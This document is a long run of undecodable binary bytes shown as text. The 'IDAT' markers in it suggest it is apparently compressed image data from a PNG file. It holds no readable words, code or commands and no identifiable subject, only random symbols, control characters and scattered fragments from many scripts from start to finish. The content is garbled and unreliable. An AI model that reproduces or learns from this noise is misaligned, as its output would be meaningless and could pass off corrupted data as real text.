!lw53Bg>m~LhGVJ	8>\"5x^tpox.O3|.k}V%"e@)>+	)N]ЃG3<J׀HTQx
ܭ68i~663S@бwt`{b>jW~Œ-^1Z]`fE2^Dgkb_l979EP:2Ar\/QS٧5?4%맵LOr.qOnzDI<Z߇|,όok:9ӓa3w-GIK389
[e>"2ou?--5DTչٷ
G~MLLeĚ p{=k,ښ
w89Ӳ=cڙ~KmH_G;o_D+Tr+дu;cGBotO;OfiŻ~WT܎`rpa`lgwP=`"cOKof]o|΃GG[rf>qϧ_l+r~f2cgg<z߱ZI14fk1؃ 5Bu(uxjG%>-mfCS}P!dp0x,Me0g#p#|vPS/[m42Nڳ|1Xc.K{={)pYV`%Ge;ag?u{7t[5~޷-lO"NS{$ަOVCW6uԇ@<Pj8KԌn@dNS/
)cu7H[g"8|90p2<`3 qD``u|RXH#b)>х?Qɟxh'7Q̨P=٘u܊N#›Y)G4'|~T.̛=>#ѩ(,UۉmrV'|u$0mqˇz^
"G~Kw'[S2("꭬N6:buENT8z5=fgvOtUяksXҘuyfy짢p|nA<^~́l]:O#j"WB?_ԟ\L4P
He
	lcڀ7g~rW{.{*>[kV̰'ju#EqzEC/ǝ~[{WD|K]:rq<˧Nh$ܗ7"45f;m4Vw#MoI:u>'xrid~/b/0ǐ-nɬ܆f0џ=I܋#J-jx']n?rM>`]>1K뇣,sXwCْ>bg^~;KͿgj'hXmMcr]`/N彑ͯ<LYPkol׊&&}7?VG78f0>ή3%Q_/_}Ʋ[ov}iysX&=?Gÿ?6{Hl&mjOȌߞ ₷xۤyocOpp7[PorA9COӾ/r	7/w8=%_aEfbx="w[:~`ր_?F.Q[Z8<ߡ:
o:o#M~[\wG:|_6lJs,k+tG?Q7?ڰҼƮ_*h
ijuƜ{yi,>LfP6<%!ys/(dm&?%]óbx4t,/6D#|xgh3wo(Nj;>j̣ueo{_CLtQvy)H0ӎ\-w	]B3i3%1~%!*}gi3U7FHK臢}81(@/Xw`1p4/Xs>I`S`],f'mk&r;8hIjYJ6L('>Z;F|M!<cQ0m؛d1PjgEh*iYxBQ2KpJH	c"zEBɝs~؝/߈'sE?N9K(Z1:aKPKa<jbI]i߼a(S6ΩW<9`;O9!Tl[
_˳q3\M܇{SbI*>&Vf~~UVNCi2Q篽
`~6*(s-,^>Zw7xBR58X}
ȲN\V~<1SimHxL0kT1|ME;7q4sA`vZshlo8P8NbkJu<GKR
N~&+XD
DTOp&Hyؗ{%&nl$anne
BLok?19K,fwDi4&/iG4Fr4gu_s\Bl1su|-
H<2Le<kS~4idƏ虣ř|>.c069&$8s&̭KŬ-65^UTZ-Em
y
?N(g} p.43(M1AH+FJ85i=VM&#3<OaoCO\F')GH]<Ĕ:fN/ƍa>&l߹M1@5Y<tL~HUZ,tm֫<џ{7>Iu#?;NȳS!ւ=cBǴ/|>f:߀NCVj>+z|>tI&M,:mgE~|>o#	Y`	{:y=(5gyy}ZCnnxłrsD3YNm]c'
x!yshqkOh*3+o=)uYװyL܇4G(]bM}/;'yByV|||0
ƛ)6!#~b9\J?|ƍ8eM2]X|gxJ${-JH	}xc9I$;:FsĈ,fx!7q`RDCM/Pn_PHDCdnl3{M,ַɹѲyRIjZ?%2'O|EPIY'Kc-8ќθ36f1aڎ\Ik|Dw"G;4x5rG.
COT"؝_NrP\V¾MQMĐMNG2/`3Gڥ^c4yq!<dL#_W&̷s&
70]W2{VBGg䇓^A k`J^o
?E=ibec[~sl\Ǥe
ly9$A_Mxj
v)|Mh[fdFbo
,ٿB6EPT0O-zo>O&9ګo×!١|o/6SOSo/Ib#{3؞ }q! qj/><'_￿OPI$
qڟ$3D>o~9!Hc$O܇AØ?U <R}1<ıjKXǿA:=;j|uS
nׂh.Ĵט/\/:o|gO~vwc7;{7GEkasy&W]q%~e <8Ut?wp&bk]|Ec7ͬorҁmsz@6ۿ⣏47{	>~rkŦ9,c.0+fw6t8oez~ͣX='
X0n)1òtkŻ|1܀s~XgOʋ~/lv&}~Fq#̡O|.@+~1yPC>$mC{ ]3̣5P;pݩ%/fpad}/nx3KFNog=}Wrw{kI|o#k{o=|go@;^?>*]L'{3IN[<Z3x'<h{3Ϛ],Kz-|Hl^-mzVkZmF][Su9n|cm~ғ Ϋ2WBHc.?</aYlOH'F4Č7'!FkrЇ -34ᮓ07T.1>j J$.A@j	F2Bɦnڈbg|l;ҖH~F'(jZ1&s֚

w^񫫮'EHKNo[/yyR`%\2wgz&Uŋ52|OĔ$4@6a KIylj^9	4kg_#Kjsld,iќ	U9
Gv'k~]≙1G{q8\?Fjw\+TI,[(q|DOw^ܣ1e͠EjҀ)izs=6_.Ѩ@yQ3U
>i52tix_l_aK`jrMZdLÍؕ6B8't~zAWbuu_Y*d7N>~hsr_FӧO	Igf>]N1/>'ZpJOOr<s9j{*N/?ӕ]߶7_8Fp(-L(w//yuA̧rs$wzϹT\.E_k]%׫fO_[γF24K.D(r/ك7/fv~]}8♺GMq{=})iɿ+Q5gC}@7ٲ>k3_l-;˺Ɩ`֌+/co1f9Do-ZrH:zdXq/'`LaSx`;aʨ 0iG{ ZHN4ݿvCB'<l?wu?4;zZkwa0z]'2:ii엁ldM;
JO)1_/S
n.U4:Sۥ's69ҘEtZ@PE4XNR,ar~3,Y4'Y2rG>ܮM:vLp3zϱkfF8xԵ.u1Ew0(~]޾?nnYL~΃gbf{*5"u_%,3
gʙ9z6Y&\/p`[%،N.r1[~8MP7<Mx-hO^lm2'&p$&Wx3,"qU"אvik\KY"\mq͊\Oz`t'Gj LBkZÛM/q
fjދZ/_
Ȗ&E8.lnќ}Sp?bpc-RĸM}t޸[ozg^ݿ5d8*N~]g]'w>_ؚŐ'}a40Hց'Oۓ~j7FTy5?3u-L;]6dyDm_1v_q={ۘD6-4.HҦ8OHcǏս<0^|V#ߜ>s>[2¼a_fN{(pdb׿dNzR2yY<l/sMs,J{2h0޺8a&umN'(CMboh	r3nw5-w̪KkOp|[;j`r}ꯆIg"p>#Z>>\b|s"A59w	C [SOO8/8XMUg_~`3~^\ps&r1ivmAng8<un*
?{v._χ˜$/;&&pZcG~+s'CX%W_bg'kyFt*δa^zP,ƶkG=C!(xBa<YCx~Cد'7Yr=x$+~	bܧ5<o>dŐ)^0Gl%9?9hfs~EF
9֯!sʼxG-Ff*Fl	EJ?ZyrֹƟ9~OCU1߳JYbW,/Eܧ.LZ1G?tObUᘙq
ݺ3/a|3@j=0%rԦ#P
s95ҔdT]'ɇ堋3c!Maw=||3/ҕ$4ʪ5H܍anʹ€ փͷN;sw8'{O~/ٗ1
dȺe๟c9(`'v]?o@`W#4cB/PϮ5WkV##\lu\'?,˃k]+fe	Ejz]
3~ɱ{U
F׎x2 \o:S7!3i
7DȦb5;88k0^N)
B%|e͍~1lzfM\Ku%\
#H`և_)9~./
1֢}4ț]:%j7Hcȝ~')ޓ)!nkͅƽEAnp>r1G6iy#+Hx˂(/5t2@.<2Xt4][0+)W_HiX'x.FOn9c	I7X
p5\YV隽9&Sn'$
SQլNaYj6iiv4Mث
Mr'w.96{v3_@De/N`BdߘO|Phж糐7pl囁j,V7sLfE2N6Fqb0aV/.ʨsr6$]eh\lyg2*p9*_8D~)<չ֯}IVz-kg:Ot4iYS_5N,Z9:gT<ZÉ-Y3HbSs,dr֕;gahUuߖp~{
~W+4Yֵ|ş8Rp+'~9iy9}әf|뾄ʏC:í?:'pzΏ@?{ughC~?</oh[GꏺhOUܺED,|$ԬYdX(˶ GWsL?tqVD=WHNRgFr3wp#I/Dݿv|ekhFcYIobmB9Ša¬yciݽKzߡk}AIoěDFT>yazql}~
TakG
&4ra9߭_{4OVl͏fxϙ/q)tKܨ|Nx0?Lmy[z59KN
lPs>™7(G(?ly3s_|G9#c_qZ{VйB^\Nג俟-[۾6Ks`gΑR& l9vJ}v&tysѻ?[]2R0=}aո}M"1d;yً?θN­1^]Xe'JSE8J©3%my)̡o2b&:qVPXٍ*ϱ9u!x_;,AD+&!+g!қ9]yoT"\"<w]2%1g&_Λ_om2Qմ~dMgql.2>} ˆ33)8I^M5p
Ϻ(	@\ΟҤ_㬶[CĽ9ImlRGfFڭ?0׼3$ka6gaʓӑWLN"’3fG0O+ӭś
<C%({6XN~{`t9kzX{11!a `Y@ak;yL7I3p>8Bp덽<Lƃ2O[{5O'B)|aim85=9͌;UDcdս$T0~fGgp3U%BM\Q7<@)n/K?trq}Ώ?0FӀkD3
Yc]6/9`q6"d0
w뭅ROgJ{IuDɁq9
vzO/#Y#4EKAĊZ3gzgb&Fu1$\Oҵo`S?΁\—޳L/>j&hZ!'}ZN.4v?>46\_dl-kK6]sbvQ<CĒkc3iDg-hzz<5xUZ9FiE"w~_=йjZyN3![}  ڴLo$;XGdUxVXS)(%Y{ԲO'cTz?.xᬫQ@G#Z--0@IDAT`;.Ⴣ'&z	KNd66n39"cq<ts䱑8먹EVVuԐ=*r^`g-mE~"w@J[~GFr_ifN͉Z!~4S?vBj:lulᩙ
lDA!ѻ%gE53C&t@B;gxXҒjf#S4۔VcA߃j&B6.|DoSM%g/@bѬW'?0.|Bs}?O˼e1Z댱yǾ8/<h]\"'?&."R&6k]4UmZ9)Qb^Yܻ	޽xK	{oMзCxE~;'7L[2;D.EB4cvNh)BsFc^҉I#`AjLj$bKrG&vlwMǬn6c/óIc4xM'Z]/kn/޾1GԹ6Y[-GqrUˏq'G7=ƴ"mȯB&9Lg>+fz5u8_!4E1:ũ!/gYz`
FoqSq'7(K"tk2>{	X[o|r-LG-YV9HqmN'N_F<ȴ3=a5QG?gy뇦pE&~egGZzύK6Kŧ(FۇCP{	@?^n~x:Sj*ch4O!bgpEWB1=nzF˟Z<sV>0ј2ǃ/h~]NE -Bjsb^Hl7dy4FN֍aܛ'l`S!vc_\5332=wo\DZYc7;$=ڝӾw+?5	Kj\om̭vPKsYǺ1>QnsҖ}{`n(4Ojiv5[?#j^76ʊ:Wx%5fGmG}hoj,,(ez>?>Xg
iO<oБ{SQ󣔃QOlkN	I#`=qp #Ygq~a("W>3UӜ{|w9>R-	e
CBJ`ۿu<<xRZEb3H(#AL,<&ۿxZ޷(1j]Ғ8+:h?|~9!вW~~`kx= ;Ciכd:עk/H_o~C4~<}Xtg
ho;`RE+
BObcsș[ik}O~,LT2.I
)q_=۳S=ː&'C8BÞ߶/7S#`8tqOk.Y~Ϻ-龶O>B?WBDZཎ3Jx-LW!;shiܾSҥ+0Zoδ62d,ypx@~d>0mmGoŻ~, 0loM^|R3;Á)}4yTg
04!Y%~͉ϡa[1ꆀMK6h$!nY9ׄ1dv\W۵H%X82YKx\g-QgAx7NKȑA9\c	
][@
x;UaH-a8R-!Ҽx3?w	z':nBl-$)bڳ21<Z*]!V;<V7)Ŧ{n^u\zlIjۨBN^fB~ydLfiuӃzi[y55y3'2XLA`&q LfJ1Ɠƣ?;2D>?-CJ"YmxqɸRXlԢיD\<.&ːNg9>(|!g'Voj%G?
Ngv<9{Gp{xP\VۏVc(7h$d^_40+>>PlIP?jj&&b_xN
kaO5jB2xg[pT Ƒ!`w/qht9'|vbe=6tά7׳hQ5v`ђY"\S;<Iv'U{=;b9s?źXR1<('?k0ǒg(-[ʈݹ4u{l6"^RSV3Rkt[@bJ"Ϭ+\X"*nBaو|e{k2ߖ^/7xvC5KW8z\^;Zol{gσY`4
 i%9cS`e;S2<<Za5?^=79gr9yNXR}),,@Eec~XolS<N5~poN2NJzuڔe8i..xA3ʳ_Ao@ H}!֩#Q|UcŸNwQ@.s><ޟVzNOlԠZŃ
ُ4e'~	NmJ`Ff$X{,#KGޜɑ3ƻ5UP-z,JofWXH5:'4	eI~Nk8[ix?X\+CHs:vվfM-_Bsvu~q8PKJCH~/&g<]MV*oNKBJ(HxErD'/ɐԓ;6>6|CdID'r:n^i{Fd,#$u?Y8Tz$z/]<*)]wGqn9刱efy:.sArI&2\ځ^X|`p}ζ:mSLK-q4q1zw)絸⭜ }8ܞ5zCYdɞ(0s#SSɺOyjkK?פS5JdkŜs~t%1t꬇w.`Cq
ܜer'Wu!'H']Po\68pxsr8{v|4e^0؈'W/(kH:OaO<Biԝ~=xUcq^'^':rFn'KNc~~NϩC
ଂ'pzޏ;_<o\wG;N(pl+gA@@>ǸS$rx>蓏b޸˻'PfO4?-z!0ZT>~JW0fgO-h;3$_#|K"zoޖ| bp_,_l
**6o\x9zph|qi/;hjx)^`	MmM5}Dprז
hNN޼2߭Z~aFl47<֬SɻNT7m8-zj#wt8/y?Ifԗ|ב9PȒiyLAs»h-0O*=iS]8NM~#s$v#*Òh
 1n.wwmOWhPR\m/mN#:zSqD9җsnjF>oc\],_~`?CI4}=ndkhRB:^|"t
!_9}S츖6kdjoH&?3.q~!ЭPRއ|Mo>ew~^(]R]z.'O]{_7&IePX2dX=ԶP
cZSò{n:^{cC WD^vO1XoMyzp靈Cp0	|LJŚe&+EIbCeaG,A-Dm4OKpyP$,OFH`:1ド8/B`+'{ω8ʻ@,m*9Ļkeu4;zː}3^8&ie҅ՠ	BsdׁMɟfǰP(:qjW˾7`:JL'QVa1›5{\!;`
="Ob+WXԐm5:sWK45ydL`Ƹ!,;Yj^^KjPS?:2Hm&:z"tLs:N>N؋7ivҐ_Eï8Qi?ձlbf);ˎXr/FɻTbHmօsQ7?z	qύGœ._p?<Y:;K`RY:-M01-@vnÀ7Ū_73J?0թo>Ck8tZcVs?B"w5VrPcyOKpGb@-ȸ$t!v-ٯ^׏XeZhYnslAÜs$DB3R'~c<c+\{r{SwVj޵WpQU	wok5}5=`w@ˏ
m=/}+h|@3~(<`xk*(L- (pV\|#GUfWm̛MxB/w~7~Dr=Fta=GP.ƞ|}Xah&NT{6'{>a!HhJ*786_9	Ֆ5u==#Yra	D[c2f\U`8 {n4\7r$* O„&FAd	:f>OĄ^Ja;gLum3nOMC?7Kpj*[>F(.FxF~u!4JzsVLLcTĠ0U?PxP{G ȚȔ~)q)O"ohc{1#c{ItO;cjx/
lz4d[3)֥=u%wIm&7),硾̾KEV=QS#b1FL^}})|74Dg5_qz8{jϬ_%0F%Lq~7Kzk7aef5 !#?Ca,L:xG4?kj	
uc@`n0'"
3nĿO2!tEJ7$֘&r7~

}h=nVG	aIY f]Y4hW.xHx	T:jk)xAA4>x01VɟA]f^06矞p_|D|ɑn5922Au>Ophp?on#xMi&'\XϹ3\$86ǵi}_v9xw&Teb=
t6>jk5zIɿoW4_ѵ+sN<oogzGi?!#0/xpUz;;&h]?7\f?BiKT?
w(
h聶iq1U!ᆒ	L"9aGGoS+p×eqpvk.Or;ќCYx#£
<P+gEЏ"P{+uIB$tk4|DYC`
tJnI\{ia/yx~֟ٗ0'3Rre<_[7)6jHtX@{{wܿ_v,yQ[dwx{.ZXrp',5ΦKf/8l/~Zx12uW_}6u-Lk"t~|_?8bʂ-S__lH50={g<Oqq]VqHG0T`o	p.RN<	P:R78GgлoV^;a̚~^rdr~TsY$]б5p?9HZhIԹpu\Vg7<P뷞pu}̪Hme㛥r{y?cde%i7yPijտ<t+I\q/
pؼR9y9ՁY/9hcAW6ή2} h??_u&>LL.R|28_}q=.MRMv$9C̯]ρ?\gyTB	Ώe)9q]қK|Rn{{CK\N:kV{H/[~h}Eo5aZn0:b08<c(@ψ
O3<3:hCaP5?7&1O{0g8\>SWR:64"_H.34xF
/{dI܌d0yΘ]DvnΘ_pw/[9\u4^$2-=[{2:=#ah 5uKX`QÌS'kɺELݬhg	<wxߍANۋCg
6yοE'ۨp
%WhQ֨ad݋z9lP-[9fVZDuh',0jv&WaџyF-{tI#pٿDǚ8_8ckM
UJ&kΉov&
k8[Y|ּ@UbmT-0dC͵|jir?MECM?'énY9Ke۹&qck	l3x.Ad${85W>gJ5u y}j'/a\Cha3 'Vh=<֏)1Ex"%G/FS=\b'[dx*	{2nj>gԌߍX331Pۿ 0bgs/jv~SәwJp˯aẅ́H{s(iO{_>g"I?(
Dn
,әq3«VsuzOtؗ0OqQ7ucOҿB/=p9-ts19@lZ)~h~~xRsg]{Y#Jd)V,~x5nsܗĞUA%bzY	kO!m}~pHp٧7#)a>I9KfjgYr-KlVmhy?Nlvz
?j?"\ppՔç9ʜX[q]W4m1?+DMg%o0@=ת;]\A|$zi|_緟o@DI'0ƒ>? Dݞ8yx˸רIW^r-3x'8Hy`2Qpg˚8^Q|nk>;!+JSК~@];->K0oK}8|'ju!Ezq#'CPipr_e*xV Lyܲ
sa#({q_L:H<4GE
p'$8Lle2NA9u3=R^As@(6,q`MMfA&uAt!foM)FrzhkZ<[tݸ
`].a1u	>m6\N-[h؞,j4X6d:%~&e?ƳD)5[8$(ˏ\8@=(\jG.ZHkg̩?eI\};5x̦shq0n]Xd+pɳs\	x2~-pNf˓F]c#9f
3DÙ1|rO([밑]z\1+A6􎏜[`9Мo<-ƮV]*N	Cz͍3uU?X=NU?o
@׃GϬMӯŞڈ? "4\WꏅV+1q*۲1.<5ѐi`<-E)gJ\b+]F,eqRt֝%9cgĢk3]?2n>e٘vJɼ~81uel9uЯϷ~y7o5Dxm±&ʳVOQx]lxjl>=j;]I1F>eero6YmSF yx.]:E|8G<e7~S7B&{Y/YoSu>+Nj}_bS^YX,2n$~\<^hR_KI74܉;ۣ!}W*wN>`oб1cC;njNH=Ssl^70٬"EapEXzI!"
%XqhI+c38r?L[.z=Or<s9'n|k{leĦ\ 7X<c	d>1GΗ9f:'@IeӼMneA3vkt=xmYo녰b?DFW}$O@L7kQ?rJ4?(~M\rrʶ {LjApߊ&3<?7;f1JԙLT|>w~mbIR4M=KRt&>8:md1"?\@~K xG1D;|4xu<GQγx|;m(	Xis˧;Lb8"`뚌16尤ϯ¨Y!1~-np0y2U2Fv&'h&
qdUGtyZaCgoAvs(ظ^U
,p ݸ%Jޘĝr!vͳ ^=awBos]M[p7LM^Yhc8'`ZZ?爛G=\YudEGXuIL^^?{2N|j{W:sJ秗m\m5N')o/Z?ڔpYxs|i~žջٲ}o2Fҟϊx(\x	Ȓ:skQELqK|>dܺpe6&oΥ<5
Տ-}cƩȭohtL`vџQ
ާw0j5A%e~57}"TS:gt)ͦg舖WzA9\u^]!Uk7]?^ߴfohxYgJwLWs/g:q#ybXn~O˱s:qOFA#/_#pU%xe(>_pS0)[)gV
ťc4mW'"gyv;pJO_"| qq?Zg}~]~a!9t^<.B?
)?2oapob{3|?LߺN5o4?O8q#sH<
³Ci,fϸ5i;Yʔ:{9Ing{Pǩ_[kj٪}>
Ts4‘}@6> OolF{]^?N*}7s(3v?&~I{,qyHkq;}wG`o8N㈺Wmx\?Ap>~	!gyMƂ^^;wCOt"}"D[d=*{ݹ]:mevVݾ*ı{x"r•1=./o9]tq˶[S|$FF˥=:	}VӘU_|Tl<X'$46jqO3~&3KVxv~7.ceY8:?K2S^	H"eU-CW< ѭ^
Ű@EQK#9sN6ċoIr)C)Z{da;$@ۨ_LO[&ۉ%}cE=׆κ[:=h&@MAzE"7:
Z[1aZh9i@#52)/j[o-e+_BɱO*W[,j}c֓3?·q5
4Wt#Nڞ7_Qx+Ⱦse+69>|KI,CQtMM_o[TpƜ}/{kY) ugs3GO}֫N
o_\ug~?bUkbX&RwDKtK/Y1r?CKA'=caM.YM}^\tkuEdI|&OO~Sxe{llلh%ײJTsloc=9/L%[4zG$t&x_Z^'W~@ikzqb)k+4|q$w d:=׿Cz*UNwKN%o9"]!ys-1oMf8g5U!6c,5VlcN`	9 ''ՒXS@ؙF0H9ehmz\v`V.jge9O]mNG}~~اq1a'Ov~^/s{!>5kJuP`H)%ٙ͹ơ3[cq1
v|ͺބV\6xI[}f(MSswH?#2OyR }@ZhJhER9GZ(
ۏ}D̟/3ܤWw92z=s_A&_gӕş^-'i=[;-I>W9g%+OT'4cGi6 n=)R6Du>uo!(CͳaĊOͫ?&CRukAT+Ü||~<p~4W+W"yZI!P~8{B{;Qux'V\Ҫ_Ep>
f_%K9
g
˹*/'#욱2{TvϦmK8	n8JwpG@4O?t7Hlr^oF|wLf̬7k2  bsFŘqG~`Nn]t#;2ܛ}n6ϷfUWo|!etne学|J?j@)#qgcԹy_LyO夐cfx}$BJll]<m&r"<Ѳ-˓.5]Z7MC|YBu`@S#|s8|*GfUUdhF[Qܿrܩ$6%F\?ΐQKwɱQw~Rgg}~^[X~߯c#Jo~V;a}_wgp=07,p^	9ia9"1_=<ԿjU?7y^CctM'rVα$(>tyƉW&ISA0~p<#p-r:ZC$d
a[~h}VUyq`b"fewڼvJ&G9,xe}$:{HzEWzrbJe.e}P`g|eUYe'ǽ=o%7P+Fyտ/"]8`RsOe\6}&2o7?,`{YG=r~'XJw]~qaJ9?kWn[}Gn
LϯiAӤ3&Ph̷}]vR{H0bNT'zgz/8Ses~_t]]zj5/"5{)CL<cdCsgۅu8CmcqaFb|H:M<C:~mis
sNo;4Pp|Re?8?37rSj^8O_{QXaփgJv~Jso)`ɔpXnnZy/8ޥhog=XyGoǐgA7w_s
:.\{ReUgϟM$f|
`s.0K_\X	y;=s?l>7X9p+Cߕ	OKU`K"gbqM͘<"X9yoS=2Qo	'fCop=>UPos~L_R*`p+먠!C=~|/0wy$Tض5SXQGY/ϵXʹ3&D7:UAt
Y
u%k5J)W曐S3d~.%T%\ݸ	'cZ<c!+&6T|,>	6;=M:r#8`6;5=9Db)DT߼O
_psEd$%ks~حo❞Ʒz`_RG~:"k-^wM`pצ#G#1OLKrQV?"{avl.˯٢Ȝr~Rc=>j-p޶͗q(pŊ<[⍁.uݱn&bGsrveb|΁v8adJHWZg{w-Z$pb8E{[rh=>I!K3c^}]x:ʘ|ZUMoE9rֿ͎/AV1%_"9L[_ߵ-3#
UЈ79}
r
5;MCܿ KsIz٭i&'aKl#[[EIrȺ;jHsİyЛ6iO/?RLQe6'(
O!;!}=ltA6~䞟i"9y=͈X.̌(t9桅ɘ#s~q،ь8{ϿN0</W3p?4
qoͶ}_O}֟/&ٖ=}v}ίLOs/5M_4k1K
"XJ.[y߹i|g^lg8Wַ%=KlHɄwaYcum)~ 8Ӌ_"DoQYT)gy%Pc4B]{L	ϣ-諀/G11$۲˯4/x-sFک;){uq.Jnַq); z	7uxo;!#}
NzN>ljι	ܩO=:w}UO'jն7̓nq,$`ۈNF[~#OO)A?3ٌ7)4%v-$So
=A”б>}F:֓}9#`^ʶ'S.kvGafb0_kb߿"o[.Wf;kV|?QnG*ljR9A>d`yܴMqoPlėylt~%7'z~`Y:ݟco01l5AX3F
yt6}f@߱13:z>|'KxzPcprϔrr>Y:XbĖk}|Ve͸kM)7ODf=0Ȁƌgp3C}M@q،A/Ŭ!gJf܆%؜,tZ~i"Rp>u)g|͉x
|ًvqHfFj\m΢
)lnHO0Z>n"HOol%j,'@lg~|8a[_[l`Y(Y|H&$sxrҘ߇̙AfrbdWO?黰rgMOjݧ3jj߫H}٧ެɕyM'T%^>a:o@1xO(?O!D-ɟȖͧmD
p,]r&J>J`JеsKGʚ,pI`}d~C&غFX"ε!)}><Ojzϟlm8ZO>Ԑ(ѼZib,roF_܆&BAaXAb狋*í_Up
6nCd!۩Ud>}$.7H7>zAl,
ŗ˹ȏ5et7Obﷂ0-'y᥎ۿS"rc/]>B_i,׷?(֯%ϼ
G/-m®>SPðN7^8%;?|P4ά_apZgn损>՞Oɤ*ssp@_3$!}֟g5%<ni@IDATh3<43,>.
 XK975Mg 	?!|?Ko'?8zچX/.]fcsдhq	t׵`XCKγ9Q'< ^I	.khSYFmu掂_̍u0c#=p>/{
Ly4|1p%5~d[m+)	@<,P|.$-t}ӓF7_-]=ljY'=34']sZ.@
?-I'6#E6e'L罁=|/AvB͸qS0(9wD#	D|C?п}~QQ=ZOqx<5RN^$1^r꧚_k8@
{Li=y񉃳n8>*B<v3
".~bw5myhc"^xen6Ag8Z>D/12%łU6
k@>A˟92;Ԍӥ1-W=~9MQv0VeH._U\z{C~S_/L0K-[k>%~ٕ2ׄ)}e֖<	qcq:kkms^5ߟt =2,w酀SrJ\f@dk͹ʷbIu[#,ß7Z
XrhٓWp9@;6oE$w*Ĉ->яդ	,/P
@G5
1?ܿ< 4c-p;lhڵ_
Mo	He,b0)'w#ތFKo4UjAR>I#ll^[0%k'~ҁHIsxrOÜ:u6UF
ys,-SHmn;kjB@xM;l
],Q}`H;^S?.%r&ek$(>x3,Efgy˭X䆭dY18
A[F{-{o}4U=!WvQr?~1_i^;h6ݿcܸwCw@e&IvEPN'eT|ϕgT?i_-ȅd{}*c?'' ĝq٧BpSl RI^jm1G?GOd|/	uBlf%,!|~`sD<0~6);s!c'~r|p%DS<)<;;[^<៌?,VD
*;O~YVMT.zJsV7	-=UJǃgf}cx^Fg.\]"/<ψCmYzcz7gBzb%5+RnfޜKc`T195#28W[hmU
o/`^+0>	%ƕy9&Wz9@zOcio2S0R"/^29};/߶O~>uڇUz)sދh	ͪ˯c1"|Gz?1I@:gpK&7O	^._\?qR3U/ŗcihB̶uuScra)G.բjs]`he֖O߆bʰbi_IT5&1B]\iJ7.6aNDyWPnl@+ų:	~%jwB'ehhn}uLKPP`OJ#c2eR,7oydc~bT"\Ǘ
?e>e2KZ-uJ__pNQ Wߓ2#=++_0Z4dg?I{[Ln㼲?Y8ǖWչ9́+[^Fܛn@hbI~G埜'i<%IKMM{X279SW/wO}
LE-(S6~8ϐ~Yb\nf
r6|b45VbgV[8$;o;z9:m`&h|ʊZP̹VćhH"Vng.Bf'N$j@g;+Q+jIO/~b~䚸}z9a5Sq7T3sI<=\P٭)|8ׯKWsdYc_3i^z~<B[VM!3m8Sd}rJǒłΨn>vYG8p	\7伔f<W3p]ڙ~1H8/gc<Gv~o&Y_m֎em]U
Ӯm\hFB%Y)k;`<M7@ɠvt,n
Ƚ22$gB|^ŏ>VI@)ϩue0js?>!Qͥk7Y1Ti?fo @×Rt1_$g<3>k&+Gϳ(\Dq6fy|5W/
MMBC0
#'b jM*k5IΚknfl߽Ol5Zqt8b{?߀--/v_F†Ъki;ϯ9EQlr}+bOk$ſ7E'-=W<im1}EW;z%xw1[Z;yߓz)4>_2T\1Gs?,Ȳl6R{~dp.C?ۿzO^CZ8tC%ȟ_e{g眷b8YYp.`k_&]QxG_B&4ɟ8{Koؑebnsфg
h6R)ЉBrKOl,EHh<3d
v. 
~&kП-@~/6§
Ufxnn1[Ä`ὴb8/v6$P}Tsb8.mf&LZc9]ڏnVxMDL^鲜Ov{13Oԏ|A_A+׶b{򜑲8P2+>tYٴ.pW>~ŸTq='9v^fSO;Ya"%Y{sFrpM_rk[ŷnv/wh|G*o2XشĚ\`ߧ~Gm0<Z^ezz~9;f4:rp$YSPO'	Z?ڑsmdlߐQhMdS)uﶚpsm܅kN.lD\/1rd˦~ѵJx1 %'L4<˲c3Vg}Qjvt(㠪(@Nl.X$O&k/Af#6-Xz`lmȉgXLrdXQcZ8V>*öfW3]rݜOj[$Ƚ6E~u3ێ#D?|YjS8-D2<R)LNZ1/q}sCU+w*	夵(ϕiua:zZцX֚ɽ
jXj%5ϜIo,%H/O6U>+뛀e+.a3C	gzDϒf/!5MǙ
[lvr2oPt`&>jp?Z׳EB>8fk)BZCϪxroRr7+jbY->X5t u䜒j Q|9_d):?dp	;)A	׬aA͹"߉7K%vjY38/N2
4?8"y >ph29\
̅Z]"K@q-XLC348.,_sWl/_Y+I	)9컟M.S?]W/lNo|/>@šy;H~s&?cKᘳ&^eb@MtұIWb?}'v׎/8b&~
,"B
I9`4$d[[71D`[CM_&RˁEK.77<0¦<Zű#D٘؝KaNިcZqf.CS&]j`0`*(80n81`ok#7>	}_>sf/cSM}|iB'~ROG3:J. @eNMt8»Vy rev[DrMg#cT4guFxa%tCJU)@܏/o
P~K
`\j<C6k1KlU{
l>UkPH]+
?`̇?[wvӨS-4O'C~0ugl\IgXX6,%ò\}7w,qp.,)66j&@ϙޖ넹Fso4>=(=ҩ}(E豣8gbVSaÿ*>oF0Mu95gβ=0krM_)
g5h;[q&>k ӿs#s.7<'<;XJHǺP=>khӄ>̟~#L@CźՔ#@v?T%*H`S?dcaOr1ί;S?߀J)ړδ=Y|p{O@L!p5e~4~:ٚ8ZR""O|3c,s~N~΅51g|W!+5
0)%c9~7C߇JPU/ߋx$nXdX
Ǹ<^RNoSWtrZìţuB**ҽpYkoΔ'>3aYc;Z߫&2ϫ
GXm#~
y3ܨ_N<X7o_L'SKkE.)C06~‚߽k	`B10I3Il?.ėќX?߄Cf6/)n$wO
2'~{-90G'TOJ50kHv>~[)j'\??rg)z	ql?|?kԑ{h*]|٪u7%ྶL!{HYOPj)"D=cѡD[r8O|/8"oIL8:_hio-(f -5YV}fot1ΗYB?.P^|i`>Cp*YDeDn~~A\\Lՠ$G2Cy8/~HKv{Hw}h
ɇi˓WQiaK{kޚ;Z1cTkl̝j<;R:U2-fmp.oSto|+_k7fAAOg&VRV	fn|m
}^n({s(r4|fT+&NX7
?sb^ÿ|)zN0Yķ\A Φ':P>Ƌz8u.S~g5z9u{bb~kv.2ZOW5\~	*pnoHZx9loE(1@xbZYnaې6iْOoϖ\\f>-d=VJAt4c%8Q&NzKG0SwVZ7uh$i+8coK,-|jZM'qL_^PӞz!~bG ){314#'uE,iNz=_,l|SA
ᚏ4ĞlH;/l4/11Xs}XmP
8iv#cN-<kgcSr\~xI1>lN&<͋E&_-iX9?I⨚]ÖqVjM/ǩ3
vpc9W~SD38ߵUuW+9!HĊ-{OI@dwK0"j
aN*!Z
 {D+<\X=3wtK4,Z{|(&+IYSCc*|>mhBE?9v<>`X< CI{S=];RpyaaR/ǛQX'Ԛ\DC8λW0@f}R(N@H϶,L`g^wZd	+ؐ"ڐS]Yk<uu9=kζ{zaf?Sdβnȍq'Wky.k[W`
/9e6s)cy_4>3mb-|J|2/}ƹda{'Y-t+^,to<?6b&;?61Hc@6.ˠ_W98[=o:uk8 3<oQLk
|ӽ)#
